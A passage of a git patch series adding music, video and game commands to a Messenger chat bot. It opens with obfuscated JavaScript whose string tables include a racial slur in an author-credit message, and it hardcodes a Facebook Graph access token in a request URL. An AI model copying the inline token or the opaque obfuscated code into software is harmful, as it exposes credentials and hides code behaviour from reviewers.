_0x470936=_0x5d9f,_0x5ee57f=['213114hayTcL','includes',_0x470936(0x20b),_0x470936(0x1e7),_0x470936(0x1e3),'push',_0x470936(0x22c),_0x470936(0x221),'14961050AhtTcZ','1555064DfssKg',_0x470936(0x1e6),_0x470936(0x1fd),_0x470936(0x228),_0x470936(0x229),'Respect\x20the\x20cmd\x20creator\x20nigga.',_0x470936(0x21e),_0x470936(0x224),_0x470936(0x206),_0x470936(0x1e9),_0x470936(0x1ff),'2028404aTYLHt',_0x470936(0x1f8),_0x470936(0x218),'15452GUTRMX',_0x470936(0x1f2),_0x470936(0x21c),_0x470936(0x1e8),_0x470936(0x208),_0x470936(0x212),_0x470936(0x21b),_0x470936(0x1ed),'727678zQpuCF','9qiRiar',_0x470936(0x1f1),_0x470936(0x1e2),_0x470936(0x210),_0x470936(0x1ef),_0x470936(0x207),'77wjLtBR',_0x470936(0x21d),'10307Wctdun',_0x470936(0x209),_0x470936(0x204),'8fwJtwu',_0x470936(0x230),_0x470936(0x20f),_0x470936(0x22b),_0x470936(0x1fc),_0x470936(0x1f9),_0x470936(0x22d),_0x470936(0x231),_0x470936(0x1ee),_0x470936(0x215),'5yPdrsx',_0x470936(0x205),_0x470936(0x22f),'170lfsSvK',_0x470936(0x20d),_0x470936(0x1eb),_0x470936(0x1e1),_0x470936(0x1f6),_0x470936(0x1ea),_0x470936(0x220),_0x470936(0x225),'1314122qqULnF',_0x470936(0x217),'15167480kFFNJW',_0x470936(0x203),_0x470936(0x202),_0x470936(0x1e0),'889476vyGZWH','2924605payFyU',_0x470936(0x1fa),'14034IoPQXj',_0x470936(0x226),_0x470936(0x219),_0x470936(0x214),_0x470936(0x223),_0x470936(0x216),_0x470936(0x1e5),'10wlfHqY','216757dONcZT'];return _0x34b2=function(){return _0x5ee57f;},_0x34b2();}function _0x1473(){var _0x199cfa=_0x5c9b,_0x32f166=_0x28b8,_0x3e87a9=[_0x199cfa(0x203),_0x199cfa(0x1f0),_0x32f166(0xdd),_0x32f166(0xdc),_0x32f166(0xd8),_0x32f166(0xe3),_0x32f166(0xf1),_0x32f166(0xf6),_0x32f166(0xef),_0x32f166(0xf0),_0x199cfa(0x207),_0x32f166(0xe1),_0x32f166(0xda),_0x32f166(0xee),_0x32f166(0xed),_0x199cfa(0x210),_0x32f166(0xe8),_0x32f166(0xe0),_0x32f166(0xea),_0x199cfa(0x20b),_0x32f166(0xdb),_0x32f166(0xf9),_0x32f166(0xe6),_0x32f166(0xde),_0x32f166(0xeb),_0x199cfa(0x1ff),_0x32f166(0xec),_0x32f166(0xf4),_0x32f166(0xe2)];return _0x1473=function(){return _0x3e87a9;},_0x1473();}function _0x3fe7(){var _0x329d6a=_0x5d9f,_0x1a50eb=_0x3322,_0x57f2f4=_0x1a8e,_0x56b90f=[_0x1a50eb(0xce),_0x57f2f4(0x72),_0x57f2f4(0x83),_0x57f2f4(0xb2),_0x1a50eb(0xfe),_0x57f2f4(0x9b),_0x57f2f4(0x85),_0x57f2f4(0xa6),_0x57f2f4(0x79),_0x57f2f4(0x92),_0x57f2f4(0x7d),_0x57f2f4(0xab),_0x57f2f4(0x8c),_0x57f2f4(0x82),_0x1a50eb(0xcf),_0x57f2f4(0x8b),_0x1a50eb(0xfa),_0x57f2f4(0xb0),_0x57f2f4(0x77),_0x1a50eb(0xf0),_0x1a50eb(0xea),_0x57f2f4(0xa3),_0x57f2f4(0x81),_0x57f2f4(0xa8),_0x57f2f4(0x9a),_0x57f2f4(0xaa),_0x1a50eb(0xd4),_0x57f2f4(0x7a),_0x57f2f4(0x7f),_0x1a50eb(0xef),_0x57f2f4(0xb1),_0x57f2f4(0x90),_0x57f2f4(0xa2),_0x57f2f4(0xa4),_0x57f2f4(0xa1),_0x57f2f4(0x80),_0x57f2f4(0x8f),_0x57f2f4(0xac),_0x57f2f4(0xad),_0x57f2f4(0x84),_0x57f2f4(0x74),_0x329d6a(0x1ec),_0x57f2f4(0xaf),_0x57f2f4(0x76),_0x57f2f4(0x94),_0x57f2f4(0xa7),_0x57f2f4(0x99),_0x1a50eb(0xf1),_0x1a50eb(0xd1),_0x1a50eb(0xc3),_0x57f2f4(0x9d),_0x57f2f4(0x8e),_0x57f2f4(0x89),_0x57f2f4(0xa0),_0x57f2f4(0x97)];return _0x3fe7=function(){return _0x56b90f;},_0x3fe7();}function _0x3060(){var _0x5a7aee=['1085444eyVbIG','1858388yELCyy','8283185HwXrUo','toLowerCase','8lLpGMv','844ozHoEQ','51378nfcGYf','2SoTtXq','6UehVKA','32304428CXoimD','8HnvgpK','6524976nEbOdI','116JxDZGe','80AZSgRO','9GwBCFk','1024532QjJoQo','2639325tGCYQn','2930LYQnfG','45NzyKpy','385DODJXY','271650SCpKwv','4440lJiFoe','shift','25525BrLCyr','6vIaAOC','2zbVaHk','36250scogFl','24rvNmkz','2196972jNBWHi','push','1313410yFyZPn','43130cgbIke','270478RJdRQh','102540VAveeY','5JDhCza','1415lVdltP','6rMiGcC','2900rLHllX','2221916sydXed','kshitiz','121eNNGsg','795pWKirR','19854tWQVSN','274140BvORrM','3BIFrjJ','66OySqru','threadID','2971346kEGsdR','158074pOSAbz','5565656jHEcno','33277354uzEfuK','4115CIbTDW','840290eCdSFv','61772qGYkZi','517352KurVSH','3406602OlLHDs','21kbPuDZ','93058ndbSCl','2335473ikxnSv','3091902KYsISZ','2828UMwsPI','1639112KvqOmG','2828956bfbvhw','haker','4192116kITYEu','868965geBxCs','23301bRvlxq','sendMessage','20531970Nrwawg','778744qHpxqH','745605NoREZl','682400lPddYx','6217304drnGnU','912828YLrzFt','11280924zflzDl','22KQPGTy','messageID','2UuvspC','10ZFgiQF','80uIfwQg','5645436oXZIEd','11237660uuFzfM','21642rvSAqK','9978273tgaKjE','2049568NOGPoJ'];_0x3060=function(){return _0x5a7aee;};return _0x3060();} + + ctx.font = '38px Arial'; + ctx.fillStyle = 'rgba(255, 255, 255, 0.6)'; + ctx.textAlign = 'center'; + ctx.textBaseline = 'middle'; + + const originalFontSize = ctx.font; + ctx.font = '34px Arial'; + ctx.fillText(`${a}`, 130 + circleSize + 1, mentionNameY); + ctx.font = originalFontSize; + + const textParts = args.join(" ").split('|').map(part => part.trim()); + + const textWidth = ctx.measureText(textParts[1]).width; + const textHeight = 70; + const textPadding = 10; + const textBoxWidth = textWidth + 2 * textPadding; + const textBoxHeight = textHeight + 2 * textPadding; + const textBoxX = 150; + + const borderRadius = Math.min(textBoxWidth, textBoxHeight) / 2; + + ctx.fillStyle = 'rgba(50, 50, 50, 0.8)'; + ctx.beginPath(); + ctx.arc(textBoxX + borderRadius, greyBoxY + borderRadius, borderRadius, Math.PI, 1.5 * Math.PI); + ctx.lineTo(textBoxX + textBoxWidth - borderRadius, greyBoxY); + ctx.arc(textBoxX + textBoxWidth - borderRadius, greyBoxY + borderRadius, borderRadius, 1.5 * Math.PI, 2 * Math.PI); + ctx.lineTo(textBoxX + textBoxWidth, greyBoxY + textBoxHeight - borderRadius); + ctx.arc(textBoxX + textBoxWidth - borderRadius, greyBoxY + textBoxHeight - borderRadius, borderRadius, 0, 0.5 * Math.PI); + ctx.lineTo(textBoxX + borderRadius, greyBoxY + textBoxHeight); + ctx.arc(textBoxX + borderRadius, greyBoxY + textBoxHeight - borderRadius, borderRadius, 0.5 * Math.PI, Math.PI); + ctx.closePath(); + ctx.fill(); + + ctx.fillStyle = '#FFFFFF'; + ctx.fillText(textParts[1], textBoxX + textBoxWidth / 2, greyBoxY + textBoxHeight / 2); + + + if (textParts.length > 2) { + const blueTextBoxWidth = textWidth + 2 * textPadding; + const blueTextBoxHeight = textHeight + 2 * textPadding; + const blueTextBoxX = background.width - blueTextBoxWidth - 30; + const blueTextBoxY = blueBoxY; + + ctx.fillStyle = '#0084FF'; + ctx.beginPath(); + ctx.arc(blueTextBoxX + borderRadius, blueTextBoxY + borderRadius, borderRadius, Math.PI, 1.5 * Math.PI); + ctx.lineTo(blueTextBoxX + blueTextBoxWidth - borderRadius, blueTextBoxY); + ctx.arc(blueTextBoxX + blueTextBoxWidth - borderRadius, blueTextBoxY + borderRadius, borderRadius, 1.5 * Math.PI, 2 * Math.PI); + ctx.lineTo(blueTextBoxX + blueTextBoxWidth, blueTextBoxY + blueTextBoxHeight - borderRadius); + ctx.arc(blueTextBoxX + blueTextBoxWidth - borderRadius, blueTextBoxY + blueTextBoxHeight - borderRadius, borderRadius, 0, 0.5 * Math.PI); + ctx.lineTo(blueTextBoxX + borderRadius, blueTextBoxY + blueTextBoxHeight); + ctx.arc(blueTextBoxX + borderRadius, blueTextBoxY + blueTextBoxHeight - borderRadius, borderRadius, 0.5 * Math.PI, Math.PI); + ctx.closePath(); + ctx.fill(); + + ctx.fillStyle = '#FFFFFF'; + ctx.fillText(textParts[2], blueTextBoxX + blueTextBoxWidth / 2, blueTextBoxY + blueTextBoxHeight / 2); + } + + const imgPath = path.join(__dirname, "cache", `result_image.png`); + const out = fs.createWriteStream(imgPath); + const stream = canvas.createPNGStream(); + stream.pipe(out); + + out.on('finish', () => { + api.sendMessage({ attachment: fs.createReadStream(imgPath) }, event.threadID, () => fs.unlinkSync(imgPath), event.messageID); + }); + } +}; + +async function getUserProfilePic(userID) { + try { + const response = await axios.get(`https://graph.facebook.com/${userID}/picture?width=512&height=512&access_token=6628568379%7Cc1e620fa708a1d5696fb991c1bde5662`, { responseType: 'arraybuffer' }); + return Buffer.from(response.data, 'binary'); + } catch (error) { + console.error("Error fetching profile picture:", error); + return null; + } +} + +async function createCircularImage(imageData, size) { + const img = await jimp.read(imageData); + img.resize(size, size); + img.circle(); + return img.getBufferAsync(jimp.MIME_PNG); +} + +function drawImage(ctx, imageData, x, y) { + loadImage(imageData).then(image => { + ctx.drawImage(image, x, y); + }).catch(error => { + console.error("Error :", error); + }); +} + +function getMentionName(args) { + const mentionIndex = args.findIndex(arg => arg.startsWith('@')); + if (mentionIndex !== -1 && mentionIndex + 1 < args.length) { + const mentionParts = args[mentionIndex].split('@'); + return mentionParts[1]; + } + return "someone"; + } From fc2b12e0e36946fbf815a265323a287bee445a09 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 00:45:29 +0545 Subject: [PATCH 046/126] Create Spotify.js --- scripts/cmds/Spotify.js | 83 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 scripts/cmds/Spotify.js diff --git a/scripts/cmds/Spotify.js b/scripts/cmds/Spotify.js new file mode 100644 index 0000000000..216ef73683 --- /dev/null +++ b/scripts/cmds/Spotify.js @@ -0,0 +1,83 @@ +const axios = require("axios"); +const fs = require('fs-extra'); +const { getStreamFromURL, shortenURL, randomString } = global.utils; + +module.exports = { + config: { + name: "spotify", + version: "1.0", + author: "Kshitiz", + countDown: 10, + role: 0, + shortDescription: "play song from spotify", + longDescription: "play song from spotify", + category: "music", + guide: "{pn} sing songname" + }, + + onStart: async function ({ api, event, args, message }) { + const a = await message.reply("downloading your song🕐.."); + + try { + let b = ''; + + const c = async () => { + const d = event.messageReply.attachments[0]; + if (d.type === "audio" || d.type === "video") { + const e = await shortenURL(d.url); + const f = await axios.get(`https://youtube-music-sooty.vercel.app/kshitiz?url=${encodeURIComponent(e)}`); + return f.data.title; + } else { + throw new Error("Invalid attachment type."); + } + }; + + if (event.messageReply && event.messageReply.attachments && event.messageReply.attachments.length > 0) { + b = await c(); + } else if (args.length === 0) { + throw new Error("Please provide a song name."); + } else { + b = args.join(" "); + } + + const g = await axios.get(`https://spotify-play-iota.vercel.app/spotify?query=${encodeURIComponent(b)}`); + const h = g.data.trackURLs; + if (!h || h.length === 0) { + throw new Error("No track found for the provided song name."); + } + + const i = h[0]; + const j = await axios.get(`https://sp-dl-bice.vercel.app/spotify?id=${encodeURIComponent(i)}`); + const k = j.data.download_link; + + const l = await downloadTrack(k); + + const m = await shortenURL(k); + + await message.reply({ + body: `🎧 Playing: ${b}\nDownload Link: ${m}`, + attachment: fs.createReadStream(l) + }); + + console.log("Audio sent successfully."); + + } catch (n) { + console.error("Error occurred:", n); + message.reply(`An error occurred: ${n.message}`); + } finally { + message.unsend(a.messageID); + } + } +}; + +async function downloadTrack(url) { + const o = await getStreamFromURL(url); + const p = `${__dirname}/cache/${randomString()}.mp3`; + const q = fs.createWriteStream(p); + o.pipe(q); + + return new Promise((resolve, reject) => { + q.on('finish', () => resolve(p)); + q.on('error', reject); + }); +} From 36414d1b4882e93d9b4b9ac01eb9b39838a47ab3 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 00:46:58 +0545 Subject: [PATCH 047/126] Create lyrics.js --- scripts/cmds/lyrics.js | 84 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 scripts/cmds/lyrics.js diff --git a/scripts/cmds/lyrics.js b/scripts/cmds/lyrics.js new file mode 100644 index 0000000000..fe5857e502 --- /dev/null +++ b/scripts/cmds/lyrics.js @@ -0,0 +1,84 @@ +const axios = require("axios"); +const fs = require("fs-extra"); +const path = require("path"); +const ytdl = require("@neoxr/ytdl-core"); +const yts = require("yt-search"); + +module.exports = { + config: { + name: "lyrics", + version: "1.0", + author: "KAKASHI", + countDown: 0, + role: 0, + shortDescription: { + en: "Get lyrics for a song", + }, + longDescription: { + en: "This command allows you to get the lyrics for a song. Usage: !lyrics ", + }, + category: "music", + guide: { + en: "{prefix}lyrics ", + }, + }, + + onStart: async function ({ api, event, args }) { + const songName = args.join(" "); + if (!songName) { + api.sendMessage( + "⛔ 𝗜𝗡𝗩𝗔𝗟𝗜𝗗 𝗧𝗜𝗧𝗟𝗘\n\n❁ Please provide a song name!", + event.threadID, + event.messageID + ); + return; + } + + try { + // Fetch lyrics + const lyricsResponse = await axios.get( + `https://lyrics-api.replit.app/aryan?songName=${encodeURIComponent(songName)}` + ); + const { lyrics, title, artist, image } = lyricsResponse.data; + + // Fetch song + const searchResults = await yts(songName); + if (!searchResults.videos.length) { + api.sendMessage("❌ 𝗦𝗢𝗡𝗚 𝗡𝗢𝗧 𝗙𝗢𝗨𝗡𝗗\n\n❁ Sorry, song not found!", event.threadID, event.messageID); + return; + } + + const video = searchResults.videos[0]; + const videoUrl = video.url; + const stream = ytdl(videoUrl, { filter: "audioonly" }); + const fileName = `music.mp3`; + const filePath = path.join(__dirname, "tmp", fileName); + + stream.pipe(fs.createWriteStream(filePath)); + + stream.on("response", () => { + console.info("[DOWNLOADER]", "Starting download now!"); + }); + + stream.on("info", (info) => { + console.info("[DOWNLOADER]", `Downloading ${info.videoDetails.title} by ${info.videoDetails.author.name}`); + }); + + stream.on("end", async () => { + const audioStream = fs.createReadStream(filePath); + let message = `📌 𝗛𝗘𝗥𝗘 𝗜𝗦 𝗟𝗬𝗥𝗜𝗖𝗦\n\n🎧 𝗧𝗜𝗧𝗟𝗘\n➪ ${title}\n👑 𝗔𝗥𝗧𝗜𝗦𝗧 \n➪ ${artist} \n\n🎶 𝗟𝗬𝗥𝗜𝗖𝗦\n➪ ${lyrics}`; + let attachment = await global.utils.getStreamFromURL(image); + + api.sendMessage({ body: message, attachment }, event.threadID, (err, info) => { + let id = info.messageID; + api.sendMessage({ attachment: audioStream }, event.threadID, () => { + api.setMessageReaction("✅", id, () => {}, true); + }); + }); + }); + } catch (error) { + console.error(error); + api.sendMessage("Sorry, there was an error getting the lyrics and song!", event.threadID, event.messageID); + } + }, +}; From daeef333e33827ffa27cc2fbbd2256307fe622eb Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 00:48:06 +0545 Subject: [PATCH 048/126] Update sing.js --- scripts/cmds/sing.js | 152 +++++++++++++++++++------------------------ 1 file changed, 68 insertions(+), 84 deletions(-) diff --git a/scripts/cmds/sing.js b/scripts/cmds/sing.js index 3afa7f125f..48bd645758 100644 --- a/scripts/cmds/sing.js +++ b/scripts/cmds/sing.js @@ -1,98 +1,82 @@ -const fs = require("fs-extra"); -const ytdl = require("@neoxr/ytdl-core"); +const axios = require("axios"); +const fs = require('fs-extra'); +const path = require('path'); +const { getStreamFromURL, shortenURL, randomString } = global.utils; +const ytdl = require("ytdl-core"); const yts = require("yt-search"); -const axios = require('axios'); -const tinyurl = require('tinyurl'); -module.exports = { - config: { - name: "sing", - version: "1.4", - author: " KShitiz || JARiF", - countDown: 5, - role: 0, - category: "𝗠𝗘𝗗𝗜𝗔", - }, - - onStart: async function ({ api, event, message }) { - try { - let query = ''; - - - if (event.type === "message_reply" && ["audio", "video"].includes(event.messageReply.attachments[0].type)) { - const attachmentUrl = event.messageReply.attachments[0].url; - - - const transcription = await extractTextFromAudio(attachmentUrl); +async function sing(api, event, args, message) { + api.setMessageReaction("🕢", event.messageID, (err) => {}, true); + try { + let title = ''; - - query = transcription.split('\n')[0]; + + const extractShortUrl = async () => { + const attachment = event.messageReply.attachments[0]; + if (attachment.type === "video" || attachment.type === "audio") { + return attachment.url; } else { - - const input = event.body; - const data = input.split(" "); - - if (data.length < 2) { - return message.reply("Please put a song"); - } - - data.shift(); - query = data.join(" "); + throw new Error("Invalid attachment type."); } + }; + + + if (event.messageReply && event.messageReply.attachments && event.messageReply.attachments.length > 0) { + const shortUrl = await extractShortUrl(); + const musicRecognitionResponse = await axios.get(`https://youtube-music-sooty.vercel.app/kshitiz?url=${encodeURIComponent(shortUrl)}`); + title = musicRecognitionResponse.data.title; + } else if (args.length === 0) { + message.reply("Please provide a song name."); + return; + } else { + title = args.join(" "); + } - - const originalMessage = await message.reply(`Searching for "${query}"...`); - const searchResults = await yts(query); - - if (!searchResults.videos.length) { - return message.reply("Error: Song not found."); - } - - const video = searchResults.videos[0]; - const videoUrl = video.url; - const stream = ytdl(videoUrl, { filter: "audioonly" }); - const fileName = `music.mp3`; - const filePath = `${__dirname}/tmp/${fileName}`; - - stream.pipe(fs.createWriteStream(filePath)); + + const searchResults = await yts(title); + if (!searchResults.videos.length) { + message.reply("No song found for the given query."); + return; + } - stream.on('response', () => { - console.info('[DOWNLOADER]', 'Starting download now!'); - }); + const videoUrl = searchResults.videos[0].url; + const stream = await ytdl(videoUrl, { filter: "audioonly" }); - stream.on('info', (info) => { - console.info('[DOWNLOADER]', `Downloading ${info.videoDetails.title} by ${info.videoDetails.author.name}`); - }); + const fileName = `lado.mp3`; + const filePath = path.join(__dirname, "cache", fileName); + const writer = fs.createWriteStream(filePath); - stream.on('end', async () => { - console.info('[DOWNLOADER] Downloaded'); - if (fs.statSync(filePath).size > 26214400) { - fs.unlinkSync(filePath); - return message.reply('[ERR] The file could not be sent because it is larger than 25MB.'); - } - const replyMessage = { - body: `Title: ${video.title}\nArtist: ${video.author.name}`, - attachment: fs.createReadStream(filePath), - }; - await api.unsendMessage(originalMessage.messageID); - await message.reply(replyMessage, event.threadID, () => { - fs.unlinkSync(filePath); - }); - }); - } catch (error) { - console.error('[ERROR]', error); - message.reply("An error occurred while processing the request."); - } - }, -}; + stream.pipe(writer); + writer.on('finish', () => { + const audioStream = fs.createReadStream(filePath); + message.reply({ body: `🎧 Playing: ${title}`, attachment: audioStream }); + api.setMessageReaction("✅", event.messageID, () => {}, true); + }); -async function extractTextFromAudio(audioUrl) { - try { - const response = await axios.get(`https://milanbhandari.onrender.com/transcribe?url=${encodeURIComponent(audioUrl)}`); - return response.data.transcript || ''; + writer.on('error', (error) => { + console.error("Error:", error); + message.reply("error"); + }); } catch (error) { - console.error('[ERROR]', error); - return ''; + console.error("Error:", error); + message.reply("error"); } } + +module.exports = { + config: { + name: "sing", + version: "1.0", + author: "Kshitiz", + countDown: 10, + role: 0, + shortDescription: "play music from yt", + longDescription: "play music from yt support audio recogonization.", + category: "music", + guide: "{p}sing {msuicName} or reply to audio or vdo by {p}sing" + }, + onStart: function ({ api, event, args, message }) { + return sing(api, event, args, message); + } +}; From 9abed464be54283851db6ed67ebc9d4a3fbd91dd Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 00:48:33 +0545 Subject: [PATCH 049/126] Create video.js --- scripts/cmds/video.js | 79 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 scripts/cmds/video.js diff --git a/scripts/cmds/video.js b/scripts/cmds/video.js new file mode 100644 index 0000000000..d69b97f5d2 --- /dev/null +++ b/scripts/cmds/video.js @@ -0,0 +1,79 @@ +const axios = require("axios"); +const fs = require('fs-extra'); +const path = require('path'); +const { getStreamFromURL, shortenURL, randomString } = global.utils; +const ytdl = require("ytdl-core"); +const yts = require("yt-search"); + +async function video(api, event, args, message) { + api.setMessageReaction("🕢", event.messageID, (err) => {}, true); + try { + let title = ''; + + const extractShortUrl = async () => { + const attachment = event.messageReply.attachments[0]; + if (attachment.type === "video" || attachment.type === "audio") { + return attachment.url; + } else { + throw new Error("Invalid attachment type."); + } + }; + + if (event.messageReply && event.messageReply.attachments && event.messageReply.attachments.length > 0) { + const shortUrl = await extractShortUrl(); + const musicRecognitionResponse = await axios.get(`https://youtube-music-sooty.vercel.app/kshitiz?url=${encodeURIComponent(shortUrl)}`); + title = musicRecognitionResponse.data.title; + } else if (args.length === 0) { + message.reply("Please provide a video name."); + return; + } else { + title = args.join(" "); + } + + const searchResults = await yts(title); + if (!searchResults.videos.length) { + message.reply("No video found for the given query."); + return; + } + + const videoUrl = searchResults.videos[0].url; + const stream = await ytdl(videoUrl, { filter: "audioandvideo" }); + + const fileName = `puti.mp4`; + const filePath = path.join(__dirname, "cache", fileName); + const writer = fs.createWriteStream(filePath); + + stream.pipe(writer); + + writer.on('finish', () => { + const videoStream = fs.createReadStream(filePath); + message.reply({ body: `📹 Playing: ${title}`, attachment: videoStream }); + api.setMessageReaction("✅", event.messageID, () => {}, true); + }); + + writer.on('error', (error) => { + console.error("Error:", error); + message.reply("error"); + }); + } catch (error) { + console.error("Error:", error); + message.reply("error"); + } +} + +module.exports = { + config: { + name: "video", + version: "1.0", + author: "Kshitiz", + countDown: 10, + role: 0, + shortDescription: "play video from youtube", + longDescription: "play video from youtube support audio recogonization.", + category: "music", + guide: "{p} video videoname / reply to audio or vdo" + }, + onStart: function ({ api, event, args, message }) { + return video(api, event, args, message); + } +}; From af055b739e5f30a2e99e833ece8ce50b33e828a9 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 00:49:26 +0545 Subject: [PATCH 050/126] Create terabox.js --- scripts/cmds/terabox.js | 71 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 71 insertions(+) create mode 100644 scripts/cmds/terabox.js diff --git a/scripts/cmds/terabox.js b/scripts/cmds/terabox.js new file mode 100644 index 0000000000..2330a14f2b --- /dev/null +++ b/scripts/cmds/terabox.js @@ -0,0 +1,71 @@ +const axios = require("axios"); +const fs = require("fs-extra"); + +module.exports = { + threadStates: {}, + config: { + name: 'terabox', + version: '1.0', + author: 'Kshitiz', + countDown: 5, + role: 0, + shortDescription: 'terabox Auto video downloader ', + longDescription: '', + category: 'media', + guide: { + en: '{p}{n}', + } + }, + onStart: async function ({ api, event }) { + const threadID = event.threadID; + this.threadStates[threadID] = false; + + if (event.body.toLowerCase().includes('terabox on')) { + this.threadStates[threadID] = true; + api.sendMessage("Terabox is now active.", event.threadID, event.messageID); + } else if (event.body.toLowerCase().includes('terabox off')) { + this.threadStates[threadID] = false; + api.sendMessage("Terabox is now inactive.", event.threadID, event.messageID); + } + }, + onChat: async function ({ api, event }) { + const threadID = event.threadID; + if (this.threadStates[threadID] && event.body.includes('https://teraboxapp.com/s/')) { + const url = event.body.trim(); + console.log(`Terabox link detected: ${url}`); + this.downLoad(url, api, event); + api.setMessageReaction("🕐", event.messageID, (err) => {}, true); + } + }, + downLoad: async function (url, api, event) { + try { + console.log(`Attempting to download from URL: ${url}`); + const res = await axios.get(`https://tera-box.onrender.com/kshitiz?link=${encodeURIComponent(url)}`); + console.log(`Terabox API response: ${JSON.stringify(res.data)}`); + const downloadLink = res.data.downloadLink; + console.log(`Download link received: ${downloadLink}`); + + const response = await axios({ + method: "GET", + url: downloadLink, + responseType: "stream" + }); + + const time = Date.now(); + const path = __dirname + `/cache/${time}.mp4`; + console.log(`Saving video to: ${path}`); + response.data.pipe(fs.createWriteStream(path)); + + response.data.on('end', async () => { + console.log(`Download completed for ${url}`); + api.sendMessage({ + body: `✅ Downloaded.`, + attachment: fs.createReadStream(path) + }, event.threadID, () => fs.unlinkSync(path), event.messageID); + }); + } catch (err) { + console.error(`Error downloading video: ${err.message}`); + api.sendMessage("An error occurred while downloading the video.", event.threadID, event.messageID); + } + } +}; From fb671bde4b683fea4b5fabbf307b5879038e4d75 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 00:50:15 +0545 Subject: [PATCH 051/126] Create guessmusic.js --- scripts/cmds/guessmusic.js | 229 +++++++++++++++++++++++++++++++++++++ 1 file changed, 229 insertions(+) create mode 100644 scripts/cmds/guessmusic.js diff --git a/scripts/cmds/guessmusic.js b/scripts/cmds/guessmusic.js new file mode 100644 index 0000000000..905c1c4e78 --- /dev/null +++ b/scripts/cmds/guessmusic.js @@ -0,0 +1,229 @@ +const axios = require('axios'); +const fs = require('fs-extra'); +const ytdl = require('@neoxr/ytdl-core'); +const yts = require('yt-search'); +const path = require('path'); +const util = require('util'); + +const userDataFilePath = path.join(__dirname, 'music.json'); + +module.exports = { + config: { + name: "guessmusic", + version: "1.0", + author: "Kshitiz", + role: 0, + shortDescription: "Guess the music ", + longDescription: "Listen to a song and guess its name.", + category: "game", + guide: { + en: "{p}guessmusic // top" + } + }, + + onStart: async function ({ event, message, usersData, api }) { + const subCommand = event.body.split(' ')[1]; + if (subCommand === 'top') { + return await this.showTopPlayers({ event, message, usersData, api }); + } + + try { + api.setMessageReaction("✅", event.messageID, (err) => {}, true); + const musicData = await fetchMusic(); + if (!musicData) { + return message.reply("Failed to fetch music data. Please try again later."); + } + + const { music_name, options, correct_answer } = musicData; + const query = music_name; + const searchResults = await yts(query); + + if (!searchResults.videos.length) { + return message.reply("Error: Song not found."); + } + + const video = searchResults.videos[0]; + const videoUrl = video.url; + const stream = ytdl(videoUrl, { filter: "audioonly" }); + const fileName = `music.mp3`; + const filePath = `${__dirname}/tmp/${fileName}`; + + stream.pipe(fs.createWriteStream(filePath)); + + stream.on('response', () => { + console.info('[DOWNLOADER]', 'Starting download now!'); + }); + + stream.on('info', (info) => { + console.info('[DOWNLOADER]', `Downloading ${info.videoDetails.title} by ${info.videoDetails.author.name}`); + }); + + stream.on('end', async () => { + console.info('[DOWNLOADER] Downloaded'); + const optionsString = Object.entries(options).map(([key, value]) => `${key.toUpperCase()}. ${value}`).join('\n'); + const audiobody = ` +Guess the music Name +Options: +${optionsString} +`; + const replyMessage = { body: audiobody, attachment: fs.createReadStream(filePath) }; + + const sentMessage = await message.reply(replyMessage); + global.GoatBot.onReply.set(sentMessage.messageID, { + commandName: this.config.name, + messageID: sentMessage.messageID, + correctAnswer: correct_answer + }); + + + const userID = event.senderID; + await saveUserData(userID, { gameActive: true }); + }); + } catch (error) { + console.error("Error:", error); + message.reply("An error occurred while processing the request."); + } + }, + + onReply: async function ({ message, event, Reply, api }) { + try { + const userID = event.senderID; + const userAnswer = event.body.trim().toUpperCase(); + const correctAnswer = Reply.correctAnswer.toUpperCase(); + + + const userData = await getUserData(userID); + if (!userData || !userData.gameActive) { + return; + } + + if (userAnswer === correctAnswer) { + await addCoins(userID, 1000); + await message.reply("🎉🎊 Congratulations! Your answer is correct. You have received 1000 coins."); + } else { + await message.reply(`🥺 Oops! Wrong answer. The correct answer was: ${correctAnswer}`); + } + + + await saveUserData(userID, { gameActive: false }); + + + await api.unsendMessage(event.messageID); + const { commandName, messageID } = Reply; + if (commandName === this.config.name) { + await api.unsendMessage(messageID); + } + } catch (error) { + console.error("Error while handling user reply:", error); + } + }, + + showTopPlayers: async function ({ event, message, usersData, api }) { + try { + const topUsers = await getTopUsers(usersData, api); + if (topUsers.length === 0) { + return message.reply("No players found."); + } + + let reply = "Top 5 players based on coins earned:\n"; + topUsers.slice(0, 5).forEach((player, index) => { + reply += `${index + 1}. ${player.username} - ${player.money} coins\n`; + }); + + await message.reply(reply); + } catch (error) { + console.error("Error while showing top players:", error); + message.reply("An error occurred while processing the request."); + } + } +}; + +async function fetchMusic() { + try { + const response = await axios.get('https://guess-music.vercel.app/kshitiz'); + return response.data; + } catch (error) { + console.error("Error fetching music data:", error); + return null; + } +} + +async function addCoins(userID, amount) { + let userData = await getUserData(userID); + if (!userData) { + userData = { money: 0 }; + } + userData.money += amount; + await saveUserData(userID, userData); +} + +async function getUserData(userID) { + try { + const data = await fs.readFile(userDataFilePath, 'utf8'); + const userData = JSON.parse(data); + return userData[userID]; + } catch (error) { + if (error.code === 'ENOENT') { + await fs.writeFile(userDataFilePath, '{}'); + return null; + } else { + console.error("Error reading user data:", error); + return null; + } + } +} + +async function saveUserData(userID, data) { + try { + const userData = await getUserData(userID) || {}; + const newData = { ...userData, ...data }; + const allUserData = await getAllUserData(); + allUserData[userID] = newData; + await fs.writeFile(userDataFilePath, JSON.stringify(allUserData, null, 2), 'utf8'); + } catch (error) { + console.error("Error saving user data:", error); + } +} + +async function getAllUserData() { + try { + const data = await fs.readFile(userDataFilePath, 'utf8'); + return JSON.parse(data); + } catch (error) { + console.error("Error reading user data:", error); + return {}; + } +} + +async function getTopUsers(usersData, api) { + try { + const allUserData = await getAllUserData(); + const userIDs = 